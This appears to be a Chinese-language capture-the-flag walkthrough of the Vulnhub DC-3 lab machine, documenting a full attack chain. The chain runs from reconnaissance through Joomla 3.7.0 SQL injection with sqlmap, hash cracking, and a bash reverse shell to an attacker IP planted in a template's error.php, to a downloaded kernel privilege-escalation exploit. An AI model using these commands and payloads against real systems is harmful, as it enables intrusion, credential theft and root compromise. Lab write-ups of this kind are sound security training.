Vulnhub-DC-3
信息搜集
首先信息搜集,扫描网段发现靶机ip192.168.100.136
1 | arp-scan -l |
nmap扫一下端口
1 | nmap -sV 192.168.100.136 |
开放了80端口,web指纹信息
1 | whatweb -v 192.168.100.136 |
Web 服务:Apache/2.4.18 (Ubuntu)
CMS:Joomla 全站程序(MetaGenerator 标识)
前端组件:Bootstrap、jQuery、HTML5
页面存在密码输入框PasswordField[password] → /administrator后台登录页存在
存在 Joomla 会话 Cookie,确认站点正常运行
访问一下网站
这次只有一个 flag,一个入口点,没有任何线索。
要拿到 flag,你显然需要获得 root 权限。
如何获得 root 权限取决于你——当然,也取决于系统。
祝你好运——希望你能享受这个小挑战。:-)
漏洞利用
分析知道cms是Joomla,使用joomscan分析下版本
1 | joomscan -url 192.168.100.136 |
查找一下相关漏洞
1 | searchsploit joomla 3.7.0 |
存在sql注入漏洞,看一下exp,路径在/usr/share/exploitdb/exploits/php/webapps/42033.txt
1 | # Exploit Title: Joomla 3.7.0 - Sql Injection |
根据提示是用sqlmap跑一下
1 | sqlmap -u "http://192.168.100.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" --risk=3 --level=5 --random-agent --dbs -p "list[fullordering]" |
得到数据库名,接下来就可以爆表了
1 | sqlmap -u "http://192.168.100.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" --risk=3 --level=5 --random-agent -D joomladb --tables --batch |
1 | sqlmap -u "http://192.168.100.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns |
查询一下username,password
1 | sqlmap -u "http://192.168.100.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "username,password" --dump |
储存的的是哈希,爆破一下
admin/snoopy,进入后台
在Templates
任选模板,可以在error.php文件中写入
1 | system("bash -c 'bash -i >& /dev/tcp/192.168.100.128/7777 0>&1'"); |
kali开启监听
1 | nc -lvvnp 7777 |
访问http://192.168.100.136 /templates/bezz3/error.php
接下来需要提权
1 | find / -perm -u=s -type f 2>/dev/null |
并没有用可以提取的命令,换一种提权方式,
1 | cat /proc/version |
1 | cat /etc/issue |
Ubuntu 16.04,使用msf找一下有没有漏洞
这是4.4.x通用的提权方式,路径/usr/share/exploitdb/exploits/linux/local/39772.txt,根据txt描述的操作就行,
1 | wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip |
需要将exploit.tar这个文件上传的目标主机并且运行,起一个http服务
然后解压
进入到解压目录后执行操作
1 | ./compile.sh |

























